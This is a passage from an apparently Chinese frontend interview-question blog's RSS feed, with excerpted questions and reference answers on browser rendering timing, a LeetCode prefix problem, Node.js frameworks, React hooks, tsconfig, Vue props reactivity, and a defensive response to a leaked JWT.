&lt;li&gt;布局计算（Layout）&lt;/li&gt;
&lt;li&gt;绘制（Paint）&lt;/li&gt;
&lt;li&gt;合成（Composite）&lt;/li&gt;
&lt;li&gt;如果还有时间 → 执行 requestIdleCallback&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;需要明确一点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;rAF 是“下一帧渲染前”的回调&lt;/li&gt;
&lt;li&gt;rIC 是“当前帧剩余时间”的回调&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id="二requestanimationframe-的执行时机"&gt;二、requestAnimationFrame 的执行时机&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;requestAnimationFrame&lt;/code&gt; 的设计目标是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在浏览器即将进行下一次重绘之前执行回调。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每帧最多执行一次&lt;/li&gt;
&lt;li&gt;与刷新率同步&lt;/li&gt;
&lt;li&gt;在样式计算之前触发&lt;/li&gt;
&lt;li&gt;如果标签页不可见，会暂停&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;执行时机可以理解为：&lt;/p&gt;</description></item><item><title>leetcode 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/leetcode/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/leetcode/</guid><description>&lt;p&gt;共 38 道 leetcode 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-8dcdf90d-46d4-4466-a96b-c684806e90f3"&gt;1. 最大公共前缀&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;编写一个函数，接收一个字符串数组作为输入，找出这些字符串的最大公共前缀。如果没有公共前缀，则返回空字符串。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输入输出要求&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入：一个字符串数组。&lt;/li&gt;
&lt;li&gt;输出：一个字符串，表示最大公共前缀。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;flower&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;flow&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;flight&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;longestCommonPrefix&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 输出：&amp;#39;fl&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;最大公共前缀问题的核心是逐步缩小候选前缀；横向扫描通过不断用后续字符串修剪前缀，实现简单且高效；在最坏情况下时间复杂度为 O(n·m)，空间复杂度为 O(1)，非常适合在实际工程和面试中使用。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题本质是在&lt;strong&gt;多个字符串之间求一个公共的、连续的前缀子串&lt;/strong&gt;，并且要求尽可能长。关键不在于字符串操作技巧，而在于&lt;strong&gt;如何逐步收敛搜索空间&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一整体思路说明横向扫描"&gt;一、整体思路说明（横向扫描）&lt;/h2&gt;
&lt;p&gt;横向扫描的核心思想是：
&lt;strong&gt;先假设第一个字符串是公共前缀，然后不断用后续字符串去“修剪”它&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;执行过程可以概括为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;取第一个字符串作为初始前缀&lt;/li&gt;
&lt;li&gt;从第二个字符串开始，逐个比较&lt;/li&gt;
&lt;li&gt;如果当前字符串不以该前缀开头，就不断缩短前缀&lt;/li&gt;
&lt;li&gt;一旦前缀缩短为空，说明不存在公共前缀，可以提前结束&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个过程的好处是逻辑直观，且在工程中可读性和可维护性都很好。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二示例代码实现横向扫描"&gt;二、示例代码实现（横向扫描）&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;longestCommonPrefix&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;strs&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;strs&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strs&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prefix&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strs&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strs&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;strs&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;i&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;startsWith&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;prefix&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;prefix&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prefix&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;prefix&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prefix&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="示例验证"&gt;示例验证&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;flower&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;flow&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;flight&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;longestCommonPrefix&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// &amp;#34;fl&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="三时间与空间复杂度分析"&gt;三、时间与空间复杂度分析&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;时间复杂度&lt;/strong&gt;：
最坏情况下为 &lt;code&gt;O(n * m)&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Node.js 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/nodejs/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/nodejs/</guid><description>&lt;p&gt;共 40 道 Node.js 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-e35e43bb-714f-4071-9d8d-6ef850213099"&gt;1. NestJs、Nust.js、Next.js 这几个框架有什么区别&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;NestJS 是 Node.js 的企业级服务端框架，强调模块化、依赖注入和 TypeScript，适合构建 API 和微服务；&lt;/li&gt;
&lt;li&gt;Nuxt.js 是 Vue 生态的全栈框架，在 Vue 基础上提供 SSR、SSG、文件路由等能力；&lt;/li&gt;
&lt;li&gt;Next.js 是 React 生态的全栈框架，除了 SSR、SSG 外，还支持 React Server Components、Server Actions 等现代特性。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;三者最大的区别在于定位不同：NestJS 负责后端服务，Nuxt.js 和 Next.js 负责全栈 Web 应用开发，分别服务于 Vue 和 React 技术栈。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这几个框架名字非常相似，但定位完全不同。简单来说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NestJS&lt;/strong&gt;：Node.js 服务端开发框架。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nuxt.js&lt;/strong&gt;：Vue 生态的全栈应用框架。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Next.js&lt;/strong&gt;：React 生态的全栈应用框架。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;三者分别解决的是不同层面的问题，并不存在直接竞争关系。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;先来看 &lt;strong&gt;NestJS&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;NestJS 是基于 Node.js 构建的服务端框架，底层默认使用 Express，也可以切换到 Fastify。它借鉴了很多 Java Spring 的设计思想，例如依赖注入（DI）、模块化、装饰器以及 IoC 容器，因此对于大型团队开发来说，代码组织会更加规范。&lt;/p&gt;</description></item><item><title>React.js 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/react/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/react/</guid><description>&lt;p&gt;共 148 道 React.js 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-7e56d9a7-fe8f-4b9f-819f-68247725f673"&gt;1. 说说 Hooks 的依赖数组原理&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Hooks 的依赖数组本质是一次浅层引用比较机制。React 在 commit 阶段通过 Object.is 逐项比较新旧依赖数组，决定是否重新执行 effect，并在变化时先执行 cleanup。依赖数组不会监听变量变化，也不负责触发 render，只用于声明副作用与状态之间的关系。依赖缺失会导致闭包捕获旧值，依赖不稳定会导致 effect 频繁执行，因此依赖必须完整且保持引用稳定。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题的核心，不是“依赖数组怎么写”，而是：&lt;strong&gt;React 是如何判断副作用是否需要重新执行的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;依赖数组的存在，本质是为了让 React 在两次 render 之间进行一次“浅层比较（shallow compare）”，从而决定是否跳过本次 effect 的执行。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一从-useeffect-的执行时机说起"&gt;一、从 useEffect 的执行时机说起&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// effect
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, [&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;React 在每次 render 结束后，会把 effect 收集到 Fiber 节点的 effect 链表中。&lt;/p&gt;
&lt;p&gt;当进入 commit 阶段时，React 会：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;取出当前 Fiber 上一次保存的依赖数组&lt;/li&gt;
&lt;li&gt;与本次 render 生成的新依赖数组进行比较&lt;/li&gt;
&lt;li&gt;决定是否标记该 effect 需要执行&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果依赖变化，则：&lt;/p&gt;</description></item><item><title>Typescript 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/typescript/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/typescript/</guid><description>&lt;p&gt;共 61 道 Typescript 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-6af04565-f0bf-45dc-8ab0-c43ac8a1078d"&gt;1. 如何管理和优化 tsconfig？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;tsconfig 应被视为工程规范而非临时配置；通过分层与继承降低维护成本；类型严格性需要渐进式收紧而非一次性激进开启；合理控制编译范围以优化性能；在复杂工程中利用 tsconfig 约束依赖边界，使类型系统服务于长期可维护性。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;tsconfig 的管理与优化，本质上是在&lt;strong&gt;类型安全、开发体验与工程效率之间做长期平衡&lt;/strong&gt;。它并不是一次性配置文件，而是随着项目规模、团队协作方式和构建体系不断演进的工程资产。&lt;/p&gt;
&lt;p&gt;首先需要明确 tsconfig 在工程中的角色定位。它既是 TypeScript 编译器的输入约束，也是 IDE 类型分析与提示能力的基础配置。如果把 tsconfig 仅当作“让项目能跑起来的必要文件”，往往会在项目中后期暴露出类型失控、编译缓慢或不同环境行为不一致的问题。因此，治理 tsconfig 的第一步，是将其视为&lt;strong&gt;工程规范的一部分&lt;/strong&gt;，而不是单纯的工具配置。&lt;/p&gt;
&lt;p&gt;在实际管理中，通常会通过“分层”的方式来降低复杂度。将通用且稳定的配置抽离为基础 tsconfig，由不同运行环境或子项目通过 &lt;code&gt;extends&lt;/code&gt; 继承，再在局部覆盖差异化选项。这种方式可以避免在多个 tsconfig 中重复维护同一组 compilerOptions，也能清晰表达哪些约束是全局共识，哪些是特定场景的取舍。例如，类型严格性、模块解析策略往往属于全局约束，而是否生成声明文件、是否开启 sourceMap 则更偏向构建阶段需求。&lt;/p&gt;
&lt;p&gt;在优化层面，类型严格性的管理尤为关键。一次性开启所有严格选项，在历史项目中通常不可行，反而会导致大量噪音，削弱团队对类型系统的信任度。更可持续的做法，是以 &lt;code&gt;strict&lt;/code&gt; 为目标方向，但通过逐步引入单项严格规则，让类型质量随时间提升，而不是通过一次激进配置制造阻力。tsconfig 在这里承担的是“收紧边界”的角色，而不是制造阻断。&lt;/p&gt;
&lt;p&gt;编译性能同样是 tsconfig 优化中不可忽视的一环。随着项目体量增大，合理控制 &lt;code&gt;include&lt;/code&gt;、&lt;code&gt;exclude&lt;/code&gt; 范围，避免将无关文件纳入类型分析，是最直接也最有效的手段。同时，明确区分“类型检查”与“代码转译”的职责，可以避免在开发阶段承担不必要的编译成本。在一些工程中，会通过不同 tsconfig 分别服务于 IDE 类型检查与构建流程，从而兼顾体验与效率。&lt;/p&gt;
&lt;p&gt;在 Monorepo 或组件库场景下，tsconfig 还承担着依赖边界约束的职责。通过 project references 明确包之间的依赖关系，不仅可以加速增量编译，也能在类型层面阻止不合法的跨包引用。这类配置一旦稳定下来，往往比 lint 规则更可靠，因为它直接作用于编译阶段。&lt;/p&gt;
&lt;p&gt;长期来看，tsconfig 的优化不是“调参数”，而是通过持续审视哪些约束是必要的、哪些已经不再适用，让类型系统始终贴合真实的工程状态。当 tsconfig 能够稳定表达团队的工程共识时，它的价值才真正体现出来。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-7aad6bf7-246a-4725-a614-cfcc5945cb96"&gt;2. Boolean 和 boolean 有什么区别？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;</description></item><item><title>Vue.js 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/vue/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/vue/</guid><description>&lt;p&gt;共 123 道 Vue.js 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-0eb08245-5227-41ee-8dc4-f35a8e3b3748"&gt;1. 为何&lt;code&gt;setup()&lt;/code&gt;中直接解构&lt;code&gt;props&lt;/code&gt;会丢失响应性？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;setup&lt;/code&gt; 中直接解构 &lt;code&gt;props&lt;/code&gt; 会丢失响应性，是因为解构会把属性值拷贝为普通变量，打断了与 &lt;code&gt;props&lt;/code&gt; Proxy 的引用关系，导致 Vue 无法进行依赖收集。正确做法是直接使用 &lt;code&gt;props.xxx&lt;/code&gt;，或通过 &lt;code&gt;toRefs / toRef&lt;/code&gt; 将属性转换为保持响应性的 &lt;code&gt;ref&lt;/code&gt;。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在 Vue 3 中，&lt;code&gt;setup()&lt;/code&gt; 里&lt;strong&gt;直接解构 &lt;code&gt;props&lt;/code&gt; 会丢失响应性&lt;/strong&gt;，根本原因在于：&lt;strong&gt;响应式是依赖引用关系实现的，而解构会打断这种引用关系&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;下面从原理、示例和正确做法三个层面说明。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一根本原因解构会拷贝值不再是响应式引用"&gt;一、根本原因：解构会“拷贝值”，不再是响应式引用&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;setup(props)&lt;/code&gt; 中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;props&lt;/code&gt; 本身是一个 &lt;strong&gt;浅只读的响应式对象（Proxy）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Vue 的响应式系统是 &lt;strong&gt;基于 getter / setter（Proxy 拦截）+ 依赖收集&lt;/strong&gt; 实现的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解构会把属性的当前值“取出来”，赋值给一个普通变量&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一旦解构：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;title&lt;/code&gt; 是一个 &lt;strong&gt;普通变量&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;它不再通过 &lt;code&gt;props.title&lt;/code&gt; 访问&lt;/li&gt;
&lt;li&gt;Vue 无法拦截 &lt;code&gt;title&lt;/code&gt; 的读取&lt;/li&gt;
&lt;li&gt;依赖收集链路断裂 → 响应性丢失&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二对比示例为什么一个会更新一个不会"&gt;二、对比示例：为什么一个会更新，一个不会&lt;/h2&gt;
&lt;h3 id="-错误示例丢失响应性"&gt;❌ 错误示例（丢失响应性）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; String
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setup&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;父组件更新 &lt;code&gt;title&lt;/code&gt; 时：&lt;/p&gt;</description></item><item><title>前端安全 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-12-28b9d64b/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-12-28b9d64b/</guid><description>&lt;p&gt;共 35 道 前端安全 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-bbf8b7ee-035e-4f2b-b64c-40d560e6dc19"&gt;1. 如果发现JWT Token泄露，如何快速响应？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定位&lt;/strong&gt;：确认泄露的是单个用户 Token 还是全局密钥。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拉黑&lt;/strong&gt;：立即将泄露的 Token &lt;code&gt;jti&lt;/code&gt; 加入 Redis 禁用名单。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;阻断&lt;/strong&gt;：如果是密钥泄露，立即更新环境变量中的 &lt;code&gt;JWT_SECRET&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通知&lt;/strong&gt;：提醒受影响用户，并建议其修改密码（以防攻击者通过其他渠道获取了账号控制权）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;审计&lt;/strong&gt;：检查该 Token 泄露期间产生的异常操作日志，进行回滚或补偿。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
